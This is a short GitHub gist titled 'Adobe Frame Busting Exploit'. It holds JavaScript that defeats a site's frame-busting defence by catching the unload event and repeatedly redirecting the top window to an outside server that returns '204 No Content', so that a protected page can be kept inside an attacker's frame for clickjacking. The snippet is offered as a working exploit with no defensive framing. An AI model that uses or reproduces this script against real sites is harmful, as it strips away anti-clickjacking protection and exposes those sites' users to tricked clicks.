Skip to content

Instantly share code, notes, and snippets.

@skepticfx
Created January 9, 2012 20:03
Show Gist options
  • Save skepticfx/1584656 to your computer and use it in GitHub Desktop.
Save skepticfx/1584656 to your computer and use it in GitHub Desktop.
Adobe Frame Busting Exploit
if (top!=self){
top.location.href=self.location.href;
}
var kill = 0;
window.onbeforeunload = function() { kill++; }
setInterval(function() {
if (kill > 0) {
kill -= 2;
// A Web Server that serves a 204 - No Content
window.top.location = "http://test.skepticfx.com/204.php";
}
}, 1)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment